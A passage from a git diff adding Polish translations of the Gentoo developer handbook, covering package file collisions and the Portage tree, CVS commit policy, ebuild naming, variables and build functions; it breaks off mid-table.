+wzajemnie się blokowały i nie mogły być jednocześnie zainstalowane w systemie.
+Jeśli jednak nie ma po temu żadnych innych ważnych powodów, należy raczej
+unikać tego rozwiązania, próbując najpierw naprawić pakiet w jeden z poniższych
+sposobów:
+</p>
+
+<ul>
+   <li>
+     Ustawiając tak, aby pakiet A był zależny (RDEPEND lub DEPEND) od pakietu B
+     i nie instalował plików, które mogą wywołać konflikt
+   </li>
+   <li>
+     Usuwając skonfliktowane pliki w funkcji <c>src_install</c> lub
+     <c>pkg_preinst</c>
+   </li>
+   <li>
+     Przesunąć skonfliktowane pliki do trzeciego pakietu (C) i ustawić A i B
+     tak, aby od niego zależały (RDEPEND lub DEPEND)
+   </li>
+   <li>
+     Zmieniając miejsce, w którym oba pakiety instalują skonfliktowane pliki
+   </li>
+</ul>
+
+<p>
+W wielu przypadkach skonfliktowanych plików nie da się naprawić lub są one zbyt
+mało ważne, aby do ich naprawienia przystępować. Przykładem takiej sytuacji
+mogą być moduły Perla, które swoimi stronami man nadpisują te zainstalowane
+przez Perla oraz pliki, dla których ustawiona jest zmienna
+<c>CONFIG_PROTECT</c>, gdyż Portage nie nadpisze ich bez zgody użytkownika. W
+tej drugiej sytuacji pakiet wciąż jednak powinien być naprawiony.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-guide-ebuild.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-ebuild.xml
new file mode 100644
index 00000000..b9c8d1e8
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-ebuild.xml
@@ -0,0 +1,2284 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-guide-ebuild.xml,v 1.18 2009/03/09 20:42:15 rane Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+<version>1.0.4</version>
+<date>2007-11-01</date>
+
+<section>
+<title>Drzewo Portage</title>
+<subsection>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Drzewo Portage zwykle znajduje się w katalogu <path>/usr/portage</path> i jest
+ułożone w hierarchicznej strukturze, składającej się z katalogów kategorii, w
+których znajdują się katalogi pakietów. Oto przykład: plik
+<path>util-linux-2.11y.ebuild</path> można znaleźć w katalogu
+<path>/usr/portage/sys-apps/util-linux</path>. W tym samym katalogu może
+znajdować się kilka innych wersji <c>util-linux</c> razem z wersją
+<path>util-linux-2.11y.ebuild</path>. Jest tak, ponieważ <e>wszystkie pliki
+ebuild danego pakietu (niezależnie od wersji)</e> mają wspólny katalog
+<path>kategoria/pakiet</path> w głównym katalogu <path>/usr/portage</path>,
+jednak tylko w przypadku, gdy nie zainstalowano dodatkowych repozytoriów.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Pobieranie drzewa Portage z CVS</title>
+<body>
+
+<p>
+W razie jakichkolwiek wątpliwości co do systemu CVS należy przeczytać dokument
+<uri link="/doc/pl/cvs-tutorial.xml">Praca z CVS w Gentoo</uri>, gdzie
+znajduje się znacznie więcej informacji na ten temat.
+</p>
+
+<p>
+Drzewo Portage można znaleźć w module <c>gentoo-x86</c> drzewa systemu Gentoo
+Linux. Aby pobrać moduł (około 350 megabajtów), najpierw należy skonfigurować
+CVS za pomocą powyższego przewodnika, a następnie pobrać moduł
+<c>gentoo-x86</c> poleceniem checkout.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Co umieszczać (a czego nie) w drzewie Portage</title>
+<body>
+
+<p>
+Przed napisaniem jakiegokolwiek ebuilda powinniśmy przejrzeć <uri
+link="http://bugs.gentoo.org/">bugs.gentoo.org</uri> w poszukiwaniu
+niezamieszczonego jeszcze w drzewie Portage pliku ebuild do pakietu, do którego
+sami chcieliśmy go pisać. W tym celu należy wejść na stronę <uri
+link="http://bugs.gentoo.org/">bugs.gentoo.org</uri>, wybrać "query", jako
+produkt (product) wybrać <e>Gentoo Linux</e>, jako składnik (component)
+<e>ebuilds</e>. W polu tekstowym powinniśmy wpisać nazwę ebuilda, a jako status
+wybrać "NEW", "ASSIGNED", "REOPENED" i "RESOLVED" (to ostatnie jest ważne), a
+następnie zatwierdzić zapytanie. Leniwi niech po prostu klikną <uri
+link="http://bugs.gentoo.org/query.cgi?product=Gentoo%20Linux&amp;component=Ebuilds&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_status=RESOLVED">tutaj</uri>.
+</p>
+
+<p>
+Drzewo Portage powinno przede wszystkim być używane do przechowywania plików
+<path>.ebuild</path>, a także wszelkich względnie małych plików
+pomocniczych, takich jak łatki lub przykładowe pliki konfiguracyjne. Pliki
+pomocnicze powinny być umieszczane w katalogu
+<path>/usr/portage/kategoria/pakiet/files</path>, aby nie zaśmiecać głównego
+katalogu <path>kategoria/pakiet</path>. Wyjątkiem od tej reguły są większe
+pliki łatek (zalecamy przyjąć górną granicę rozmiaru pliku na 20KB), które
+powinny zostać umieszczone na serwerach lustrzanych Gentoo, aby użytkownicy nie
+marnowali przepustowości ani przestrzeni dyskowej. Odradzamy też deweloperom
+umieszczanie w CVS plików binarnych (nie-ASCII). Jeśli jednak jest to konieczne
+(gdybyśmy na przykład chcieli zamieścić niewielki plik graficzny PNG), należy
+dodać go do CVS przy użyciu opcji <c>-kb</c>, tak jak poniżej:
+</p>
+
+<pre caption="Dodawanie pliku binarnego do CVS">
+# <i>cvs add -kb mojobrazek.png</i>
+</pre>
+
+<p>
+Opcja <c>-kb</c> instruuje CVS, że plik <path>mojobrazek.png</path> to plik
+binarny i powinien być specjalnie traktowany. Nie powinno się na przykład z
+oczywistych względów pozwolić na łączenie różnic między dwiema wersjami tego
+pliku. Skoro już mowa o łączeniu zmian, pliki poprawek zamieszczane w Portage
+nie powinny być kompresowane. Dzięki temu system CVS będzie mógł łączyć zmiany i
+poprawnie informować deweloperów o konfliktach.
+</p>
+
+<p>
+Należy pamiętać, że pakiety, które wysyłamy jako stabilne muszą być
+<e>gotowe</e> do <e>natychmiastowego użycia</e> przez końcowych użytkowników.
+Musimy upewnić się, że posiadamy dobry zestaw domyślnych ustawień, który
+zadowoli większość z nich. Jeśli zaś nasz pakiet nie działa i nie mamy pomysłu
+jak sprawić, by działał, warto spojrzeć jak poradzili sobie z nią deweloperzy
+innych dystrybucji. Przykładów możemy szukać choćby w repozytoriach <uri
+link="http://cvs.mandriva.com/cgi-bin/viewvc.cgi/SPECS/">Mandrivy</uri>, <uri
+link="http://www.debian.org/distrib/packages">Debiana</uri> lub <uri
+link="http://cvs.fedora.redhat.com/">Fedory</uri>.
+</p>
+
+<p>
+Wysyłając pliki ebuild do CVS wszyscy deweloperzy powinni używać polecenia
+<c>repoman commit</c> zamiast <c>cvs commit</c>. Przed samym zamieszczeniem
+należy wykonać polecenie <c>repoman full</c>, aby upewnić się, że o niczym nie
+zapominamy.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Polityka wysyłania do CVS</title>
+<body>
+
+<ul>
+  <li>Zawsze należy wykonać polecenie <c>repoman scan</c> przed wysłaniem</li>
+  <li>Zawsze należy wykonać polecenie <c>repoman full</c> przed wysłaniem</li>
+  <li>
+    Zawsze powinniśmy sprawdzić poprawność pliku <path>package.mask</path>
+    przed jego wysłaniem przez wykonanie <c>emerge --pretend mypkg</c> i
+    sprawdzenie czy nie zawiera konfliktów.
+  </li>
+  <li>Zawsze należy uaktualnić plik <path>ChangeLog</path> przed wysłaniem</li>
+  <li>
+    Zawsze powinniśmy wysłać uaktualniony plik <path>package.mask</path> przed
+    uaktualnionym pakietem, w razie gdyby wystąpiły konflikty podczas wysyłania
+    pliku <path>package.mask</path>.
+  </li>
+  <li>
+    Zawsze powinniśmy wysyłać wszystkie pliki danego pakietu za jednym razem,
+    nie pojedynczo. Jeśli wysyłamy pakiet z nową licencją albo taki, który jest
+    zamaskowana, najpierw należy wysłać uaktualniony plik
+    <path>package.mask</path> i/lub licencję, następnie plik ebuild,
+    <path>ChangeLog</path>, łatki i plik <uri
+    link="?part=2&amp;chap=4">metadata.xml</uri> wszystkie za jednym razem, aby
+    uniknąć uszkodzenia systemów użytkowników.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Katalog files</title>
+<body>
+
+<p>
+Jak wspominaliśmy wcześniej, w każdym katalogu pakietu znajduje się podkatalog
+<path>files/</path>. W nim należy umieszczać wszelkie łatki, pliki
+konfiguracyjne lub inne pliki pomocnicze. Pliki większe niż około 20KB powinny
+być zamieszczane na serwerach lustrzanych, aby zmniejszyć ilość
+(niepotrzebnych) plików, które nasi użytkownicy będą musieli ściągnąć. Warto
+rozważyć taki schemat nazywania tworzonych poprawek, dzięki którym pakiet w
+ogóle się zbuduje, aby uwzględniały wersję w nazwie, na przykład
+<path>pakiet-1.0-gentoo.diff</path> lub prościej, <path>1.0-gentoo.diff</path>.
+Przy okazji człon <path>gentoo</path> informuje, że poprawka ta została
+stworzona przez nas, deweloperów Gentoo, a nie pobrana z listy dyskusyjnej albo
+innego miejsca. Raz jeszcze: nie należy kompresować tych plików, ponieważ CVS
+nie radzi sobie dobrze z plikami binarnymi.
+</p>
+
+<p>
+Warto rozważyć dodawanie przedrostka lub przyrostka (na przykład
+<path>mypkg-1.0</path>) do wszystkich plików, które umieszczamy w katalogu
+<path>files/</path>, aby pliki wykorzystywane z konkretną wersją ebuilda można
+było łatwo odróżnić od siebie. Ułatwia to porównywanie zmian pomiędzy
+poprawkami. Ogólnie jest to dobry pomysł. :) Możemy użyć innego przyrostka,
+jeśli chcemy, aby nazwa pliku łatki przekazywała więcej informacji.
+</p>
+
+<p>
+Jeśli w katalogu <path>files/</path> chcemy umieścić więcej plików, warto
+stworzyć podkatalogi, na przykład <path>files/1.0/</path> i umieszczać
+odpowiednie pliki w ich własnych podkatalogach. Gdy używamy tej metody, nie
+jest już konieczne dodawanie informacji o wersji do nazw plików. Często jest to
+więc bardziej wygodne.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Skrypty ebuild</title>
+<subsection>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Skrypty ebuild są podstawą całego systemu Portage. Zawierają wszelkie
+informacje potrzebne do pobrania, rozpakowania, skompilowania i instalacji
+zestawu źródeł, a także wykonania ewentualnych czynności poprzedzających i/lub
+następujących po instalacji i/lub deinstalacji. Pomimo iż większość Portage
+napisana jest w języku Python, same skrypty ebuild napisane są w bashu,
+ponieważ wykorzystanie języka skryptowego powłoki pozwala nam na wykonywanie
+komend tak samo jak z wiersza poleceń. Jednym z najważniejszych założeń
+projektowych skryptów ebuild jest nazwanie zawartych w nim poleceń analogicznie
+do tych, które wypisywalibyśmy, instalując pakiet ręcznie poprzez wiersz
+poleceń. Również z tego względu użycie składni basha jest bardzo wskazane.
+</p>
+
+<p>
+Skrypty ebuild są interpretowane przez komendy <c>ebuild</c> i <c>emerge</c>.
+Wyobraźmy sobie polecenie <c>ebuild</c> jako niskopoziomowe narzędzie, służące
+do budowania. Potrafi zbudować i zainstalować pojedynczy ebuild, ale nic poza
+tym. Sprawdzi czy zależności są spełnione, ale nie będzie próbowało ich
+automatycznie spełnić. Z drugiej strony polecenie <c>emerge</c> jest
+wysokopoziomowym "silnikiem" dla polecenia <c>ebuild</c> i potrafi w razie
+potrzeby automatycznie zainstalować zależności, wykonać instalacje symulowane
+<e>pretend</e>, aby użytkownik mógł dowiedzieć się jakie pakiety zostaną
+zainstalowane - i dużo więcej. Ogólnie polecenie <c>emerge</c> jest lepsze od
+<c>ebuild</c> pod każdym względem, oprócz jednego. Za pomocą <c>ebuild</c>
+możemy stopniowo i pojedynczo wykonywać poszczególne fazy instalacji pakietu
+(pobieranie źródeł, rozpakowanie, kompilacja, instalacja i integracja pakietu z
+systemem). Jest to nieocenione narzędzie do debugowania dla deweloperów,
+ponieważ umożliwia zawężenie problemu z ebuildem do konkretnego fragmentu
+skryptu ebuild.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Nazewnictwo plików ebuild</title>
+<body>
+
+<p>
+Nazwa pliku ebuild składa się z czterech logicznych podsekcji:
+</p>
+
+<p>
+<c>pkg-ver{_suf{#}}{-r#}.ebuild</c>
+</p>
+
+<note>
+Nawiasy klamrowe (<c>{}</c>) otaczają opcjonalne pola i same nie występują w
+nazwie pakietu. Znak "<c>#</c>" oznacza dowolną dodatnią liczbę różną od zera.
+</note>
+
+<p>
+Pierwsza podsekcja, <c>pkg</c>, to nazwa pakietu. Powinna ona zawierać
+jedynie małe litery, cyfry od 0 do 9 oraz dowolną liczbę pojedynczych znaków
+minus (<c>-</c>), podkreślenia (<c>_</c>) lub plus (<c>+</c>).
+Przykłady: <c>util-linux</c>, <c>sysklogd</c> i <c>gtk+</c>. W Portage można
+znaleźć kilka pakietów, które nie spełniają tych wymogów, ale <e>nasze</e>
+pakiety muszą je spełniać.
+</p>
+
+<p>
+Druga podsekcja, <c>ver</c> to wersja pakietu, która zwykle powinna odpowiadać
+wersji głównego archiwum ze źródłami. Najczęściej wersja składa się z dwóch lub
+trzech (czasem więcej) liczb oddzielonych kropkami, na przykład w ten sposób:
+<c>1.2</c> lub <c>4.5.2</c>. Czasem bezpośrednio za ostatnią liczbą może
+pojawić się pojedyncza litera, na przykład <c>1.4b</c> lub <c>2.6h</c>. Wersja
+pakietu połączona jest myślnikiem z jego nazwą. Przykładowo: <c>coś-1.0</c>,
+<c>bla-2.4.6</c>.
+</p>
+
+<impo>
+Chcąc użyć litery poprzedzającej numer wersji należy mieć na uwadze, że <e>nie
+powinna</e> ona oznaczać statusu alpha lub beta pakietu, ponieważ alpha i beta
+to <e>wersje zapoznawcze</e> (ang. prerelease), natomiast wersje z literą na
+początku to <e>nowsze wersje</e>. To istotne rozróżnienie, ponieważ Portage
+używa numeru wersji ebuilda do określenia czy jest on nowszy czy starszy od
+pozostałych pakietów o tej samej nazwie i w tej samej kategorii. Jest więc
+bardzo ważne, aby numery wersji wiernie odzwierciedlały wersję pakietu i
+Portage właściwie wykonywał sprawdzanie zależności.
+</impo>
+
+<p>
+Trzecia podsekcja, <c>{_suf{#}}</c> jest opcjonalna i może zawierać jeden z
+następujących przyrostków, wymienionych w kolejności od oznaczających najstarsze
+wydanie po najnowsze:
+</p>
+
+<table>
+<tr>
+  <th>Przyrostek</th><th>Znaczenie</th>
+</tr>
+<tr>
+  <ti><c>_alpha</c></ti><ti>Wydanie alpha</ti>
+</tr>
+<tr>
+  <ti><c>_beta</c></ti><ti>Wydanie beta</ti>
+</tr>
+<tr>
+  <ti><c>_pre</c></ti><ti>Wersja zapoznawcza (prerelease)</ti>
+</tr>
+<tr>
+  <ti><c>_rc</c></ti><ti>Kadynat do wydania oficjalnego (Release candidate)</ti>
+</tr>
+<tr>
+  <ti>(none)</ti><ti>Oficjalne wydanie</ti>
+</tr>
+<tr>
+  <ti>
+    <c>_p</c></ti><ti>Etap poprawek (patch level) (zwykle za przyrostkiem
+    występuje liczba całkowita)</ti>
+</tr>
+</table>
+
+<p>
+Po każdym z tych przyrostków może zostać dodana dodatnia liczba całkowita różna
+od zera, na przykład <c>linux-2.4.0_pre10</c>. Zakładając identyczne wersje,
+przyrostki są ułożone następująco (mniejszy oznacza starszy): <c>_alpha</c> &lt;
+<c>_beta</c> &lt; <c>_pre</c> &lt; <c>_rc</c> &lt; (brak przyrostka) &lt;
+<c>_p</c>.
+</p>
+
+<p>
+Podczas porównywania liczb poprzedzonych identycznymi przyrostkami za nowszą
+zostanie uznana większa liczba całkowita. Przykład: <c>bla-1.0_alpha4</c>
+jest nowsza niż <c>bla-1.0_alpha3</c>.
+</p>
+
+<p>
+Czwarta podsekcja nazwy pakietu oznacza wewnętrzny numer rewizji
+specyficznej dla systemu Gentoo Linux. Jest on opcjonalny, podobnie jak
+przyrostek. Znak <c>#</c> jest dodatnią liczbą całkowitą różną od zera, na
+przykład <c>pakiet-4.5.3-r3</c>.
+</p>
+
+<p>
+Numer rewizji jest niezależny od wersji archiwum źródłowego i informuje, iż
+dostępna jest nowa i poprawiona wersja danego pakietu, specyficzna dla systemu
+Gentoo Linux. Pierwsze wydania pakietów nie mają numeru rewizji, co oznacza, że
+pakiet <c>package-4.5.3</c> Portage potraktuje jak mającą zerowy numer rewizji.
+Oznacza to, że pakiety zliczane będą w następującej kolejności: <c>1.0</c>
+(wersja początkowa), <c>1.0-r1</c>, <c>1.0-r2</c>, itd.
+</p>
+
+<p>
+Dokonując znacznych zmian w istniejącym pliku ebuild powinniśmy skopiować go
+do nowego pliku z numerem rewizji zwiększonym o 1. Należy pamiętać, aby zawsze
+odnotowywać zmiany <e>zarówno</e> w pliku <path>ChangeLog</path>, jak i w
+komunikacie wysyłania. Pominięcie choć jednego jest wbrew regułom.
+</p>
+
+<p>
+...w zasadzie to mamy też <e>piątą</e> sekcję nazwy pliku ebuild -- samo
+rozszerzenie <c>.ebuild</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Zawartość pliku ebuild</title>
+<body>
+
+<p>
+W tej części zajmiemy się wprowadzeniem do plików ebuild. Aby zobaczyć listę
+wszystkiego, co można w nich zrobić, warto przeczytać stronę podręcznika
+systemowego man, gdzie są informacje na temat formatu skryptów ebuild, ich
+zmiennych i funkcji: <c>man 5 ebuild</c>.
+</p>
+
+<p>
+<b>Nagłówki</b>
+</p>
+
+<p>
+Nagłówek wysyłanego pliku ebuild powinien być <e>dokładnie</e> taki sam jak ten
+w pliku <path>/usr/portage/header.txt</path>. Nie należy modyfikować go w żaden
+sposób, a przede wszystkim należy upewnić się, że linia zawierająca napis
+<c>&#36;Header: &#36;</c> jest nienaruszona.
+</p>
+
+<p>
+Pierwsze trzy linie powinny wyglądać mniej-więcej tak:
+</p>
+
+<pre caption="Poprawny nagłówek">
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# &#36;Header: &#36;
+</pre>
+
+<p>
+<b>Zmienne</b>
+</p>
+
+<p>
+Pierwsza część każdego pliku ebuild składa się z kilku zmiennych. Dzielą się one
+na trzy kategorie wymienione poniżej:
+</p>
+
+<ul>
+  <li>READ: zmiennych tych możemy użyć, ale <e>nie wolno</e> ich ustawiać</li>
+  <li>MUST: zmienne, które <e>koniecznie należy ustawić</e></li>
+  <li>OPT: zmienne, które powinniśmy ustawić</li>
+</ul>
+
+<table>
+<tr>
+  <th>Zmienna</th>
+  <th>Kategoria</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <ti><c>P</c></ti>
+  <ti>READ</ti>
+  <ti>Nazwa i wersja pakietu.</ti>
+</tr>
+<tr>
+  <ti><c>PN</c></ti>
+  <ti>READ</ti>
+  <ti>Nazwa pakietu.</ti>
+</tr>
+<tr>
+  <ti><c>PV</c></ti>
+  <ti>READ</ti>
+  <ti>Wersja pakietu.</ti>
+</tr>
+<tr>
+  <ti><c>PR</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Zawiera numer rewizji lub <c>r0</c>, jeśli pakiet nie posiada tego numeru.
+  </ti>
+</tr>
+<tr>
+  <ti><c>PVR</c></ti>
+  <ti>READ</ti>
+  <ti>Zawiera numer wersji razem z numerem rewizji.</ti>
+</tr>
+<tr>
+  <ti><c>PF</c></ti>
+  <ti>READ</ti>
+  <ti>Zawiera pełną nazwę pakietu <c>${PN}-${PVR}</c>.</ti>
+</tr>
+<tr>
+  <ti><c>A</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Rozdzielona spacjami lista nazw plików z <c>SRC_URI</c>. Nie uwzględnia
+    ścieżek URL, tylko same nazwy plików.
+  </ti>
+</tr>
+<tr>
+  <ti><c>DISTDIR</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Zawiera ścieżkę do katalogu <path>distfiles</path>, w którym zwykle są
+    przechowywane wszystkie pobrane pliki ze źródłami programów. Zwykle jest to
+    katalog <path>/usr/portage/distfiles</path>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>FILESDIR</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Zawiera ścieżkę do podkatalogu <path>files</path> z katalogu danego pakietu
+    w drzewie Portage. Nie wolno modyfikować tej zmiennej.
+  </ti>
+</tr>
+<tr>
+  <ti><c>WORKDIR</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Katalog główny katalogu roboczego danego ebuilda. Nic nie powinno być
+    budowane na zewnątrz tego katalogu.
+  </ti>
+</tr>
+<tr>
+  <ti><c>S</c></ti>
+  <ti>OPT</ti>
+  <ti>
+    Katalog źródłowy naszego pakietu. Zwykle jest to <c>${WORKDIR}/${P}</c>.
+    Portage przyjmie tę wartość jako domyślną, nie trzeba jej więc ustawiać
+    samemu.
+  </ti>
+</tr>
+<tr>
+  <ti><c>T</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Katalog tymczasowy naszego pakietu. Jest on używany jako wirtualny katalog
+    <path>/tmp</path> podczas przetwarzania skryptu ebuild.
+  </ti>
+</tr>
+<tr>
+  <ti><c>D</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Katalog główny, do którego pakiet zostanie zainstalowany. Należy traktować
+    go jako wirtualny katalog <path>/</path>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>SLOT</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    Portage obsługuje instalowanie jednocześnie różnych wersji tego samego
+    programu. Na przykład jeśli chcielibyśmy zainstalować jednocześnie GCC 2.95
+    i GCC 3.2, należałoby ustawić zmienną <c>SLOT</c> w każdym pliku ebuild. W
+    tym przypadku dla GCC 2.95 ustawilibyśmy zmienną <c>SLOT</c> na <c>2</c>, a
+    dla GCC 3.2 na <c>3</c>.
+    <br/>
+    <b>Uwaga</b>: Podanie <c>0</c> jako wartości zmiennej <c>SLOT</c> oznacza,
+    że dany pakiet ma tylko jedno możliwe ustawienie <c>SLOT</c> (innymi słowy,
+    nie da się jej "SLOT-ować").
+  </ti>
+</tr>
+<tr>
+  <ti><c>LICENSE</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    Zmienna ta określa jaką licencją objęty jest program, na przykład GPL-2,
+    BSD, itp... Zawartością tej zmiennej musi być poprawna licencja (jest nią
+    dowolna licencja z pliku <path>/usr/portage/license/</path>). Jesli danej
+    licencji nie ma w tym pliku, musi zostać tam dodana zanim plik ebuild
+    znajdzie się w drzewie Portage. Jeśli licencja nie zezwala na redystrybucję
+    programu, należy dodać <c>RESTRICT</c>="nomirror" do pliku ebuild.
+  </ti>
+</tr>
+<tr>
+  <ti><c>KEYWORDS</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    Zmienna ta pełni teraz kilka funkcji. Przede wszystkim określa na jakie
+    architektury sprzętowe przeznaczony jest dany ebuild. Przykładowe wartości
+    to: <e>x86, ppc, sparc, mips, alpha, arm, hppa, amd64 i ia64</e>. Więcej
+    szczegółów można znaleźć w pliku profiles/arch.list. Jak nietrudno się
+    domyślić, zmienną tę ustawiamy zgodnie z architekturą docelowej maszyny.
+    Portage nie zezwoli maszynie x86 budować pakietów innych niż x86, zgodnie z
+    tym, co jest podane w zmiennej <c>KEYWORDS</c>. Pakiety, które nie wspierają
+    architektury danego komputera są automatycznie maskowane przez Portage.
+    Jeśli flaga <c>KEYWORDS</c> posiada przedrostek <e>~</e>, oznacza to, że
+    dany ebuild działa, ale powinien zostać przetestowany w kilku środowiskach,
+    zanim może zostać uznany za stabilny. Jeśli zaś przed flagą <c>KEYWORDS</c>
+    występuje znak <e>-</e>, dany pakiet nie będzie działać na danej
+    architekturze. Pakiety jest uznawany za stabilny, jeśli nic nie poprzedza
+    zmiennych zawartych w <c>KEYWORDS</c>. Ustawiając odpowiednio zmienną
+    <c>ACCEPT_KEYWORDS</c> w pliku <path>make.conf</path> definiujemy którym z
+    powyższych typów pakietów zezwalamy na instalację.
+  </ti>
+</tr>
+<tr>
+  <ti><c>DESCRIPTION</c></ti>
+  <ti>MUST</ti>
+  <ti><e>Krótki</e>, mieszczący się w jednej linii opis pakietu.</ti>
+</tr>
+<tr>
+  <ti><c>SRC_URI</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    URL-e każdego pliku ze źródłami pakietu, rozdzielone białym znakiem (np.
+    spacją lub znakiem końca linii). W zmiennych SRC_URI i S nie powinno się
+    umieszczać numerów wersji. Powinniśmy zawsze stosować zmienne ${PV} lub
+    ${P}, a jeśli numer wersji nie pokrywa się z nazwą pliku zawierającego
+    źródła, należy stworzyć zmienną ${MY_P} i użyć jej zamiast dwóch
+    poprzednich.
+  </ti>
+</tr>
+<tr>
+  <ti><c>HOMEPAGE</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    Strona domowa pakietu. Jeśli nie możemy znaleźć oficjalnej strony, można
+    podać odnośnik z <uri link="http://freshmeat.net/">freshmeat.net</uri> lub
+    podobnej strony z bazą danych programów. Nigdy nie należy odnosić się do
+    innej zmiennej wewnątrz tej. Musi ona zawierać tylko czysty tekst.
+  </ti>
+</tr>
+<tr>
+  <ti><c>IUSE</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    W zmiennej tej zamieszczamy flagi <c>USE</c> z jakich korzysta nasz pakiet.
+    Należy pamiętać, że nie wolno tutaj umieścić <c>KEYWORDS</c>!
+  </ti>
+</tr>
+<tr>
+  <ti><c>DEPEND</c></ti>
+  <ti>OPT</ti>
+  <ti>
+    Tutaj wymieniamy zależności potrzebne do zbudowania pakietu. Więcej
+    informacji na temat składni znajdziemy w sekcji <uri
+    link="#doc_chap5">Zależności pakietu</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>RDEPEND</c></ti>
+  <ti>OPT</ti>
+  <ti>
+    Tutaj wymieniamy zależności potrzebne do uruchomienia programu z pakietu.
+    Jak wspomniano wyżej, więcej szczegółów można znaleźć w sekcji <uri
+    link="#doc_chap5">Zależności pakietu</uri>.
+  </ti>
+</tr>
+</table>
+
+<p>
+<b>Funkcje</b>
+</p>
+
+<p>
+W plikach ebuild można zdefiniować wiele różnych funkcji, które kontrolują
+proces budowania i instalacji pakietu.
+</p>
+
+<table>
+<tr>
+  <th>Funkcja</th>
+  <th>Zastosowanie</th>
+</tr>
+<tr>
+  <ti><c>pkg_setup</c></ti>
+  <ti>
+    Funkcja ta służy do wykonywania wszelkich wstępnych czynności. Może to
+    obejmować sprawdzenie czy istnieje już plik konfiguracyjny.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_nofetch</c></ti>
+  <ti>
+    W tym miejscu informujemy użytkownika o tym, co musi zrobić, jeśli z
+    jakiegoś powodu (na przykład licencji) źródła nie mogą zostać automatycznie
+    pobrane przez Portage. Jednocześnie należy ustawić zmienną
+    <c>RESTRICT="fetch"</c>. W niniejszej funkcji wolno nam jedynie
+    wyświetlać komunikaty, nie należy wywoływać polecenia <c>die</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_unpack</c></ti>
+  <ti>
+    Tej funkcji należy użyć, aby rozpakować źródła pakietu, nałożyć poprawki i
+    uruchomić zewnętrzne programy, na przykład autotools. Domyślnie funkcja ta
+    rozpakuje pliki wymienione w zmiennej <c>A</c>. Początkowy katalog roboczy
+    definiuje zmienna <c>WORKDIR</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_compile</c></ti>
+  <ti>
+    Za pomocą tej funkcji konfigurujemy i budujemy pakiet. Początkowy katalog
+    roboczy definiuje zmienna <c>S</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_install</c></ti>
+  <ti>
+    Tej funkcji użyjemy, aby zainstalować pakiet w katalogu określonym przez
+    zmienną <c>D</c>. Jesli pakiet korzysta z automake, możemy tego łatwo
+    dokonać poprzez <c>emake DESTDIR=${D} install</c>. <e>Należy upewnić się, że
+    pakiet wszystkie swoje pliki zainstaluje używając <c>D</c> jako katalogu
+    głównego!</e> Początkowy katalog roboczy definiuje zmienna <c>S</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>src_test</c></ti>
+  <ti>
+    Funkcja ta jest wykonywana tylko wtedy, gdy zmienna
+    <c>FEATURES="test"</c> jest ustawiona, a zmienna
+    <c>RESTRICT="test"</c> nie jest ustawiona. Domyślnie wywołuje dostępną
+    funkcję testującą z plików Makefile, znajdujących się w katalogu
+    zdefiniowanym przez zmienną <c>${S}</c>, uruchamiając albo "make test" albo
+    "make check", w zależności od tego, co jest dostępne. Funkcję tę można
+    nadpisać i zaimplementować własną metodę testowania pakietu.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_preinst</c></ti>
+  <ti>
+    Polecenia zawarte w tej funkcji zostaną wykonane tuż <e>przed
+    zintegrowaniem</e> obrazu pakietu z systemem plików.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_postinst</c></ti>
+  <ti>
+    Polecenia zawarte w tej funkcji zostaną wykonane tuż <e>po
+    zintegrowaniu</e> obrazu pakietu z systemem plików.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_prerm</c></ti>
+  <ti>
+    Polecenia zawarte w tej funkcji zostaną wykonane tuż <e>przed
+    odinstalowaniem</e> obrazu pakietu z systemu plików.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_postrm</c></ti>
+  <ti>
+    Polecenia zawarte w tej funkcji zostaną wykonane tuż <e>po
+    odinstalowaniu</e> obrazu pakietu z systemu plików.
+  </ti>
+</tr>
+<tr>
+  <ti><c>pkg_config</c></ti>
+  <ti>
+    Za pomocą tej funkcji możemy przygotować początkową konfigurację pakietu
+    tuż po jego instalacji. Wszystkie ścieżki w obrębie tej funkcji powinny być
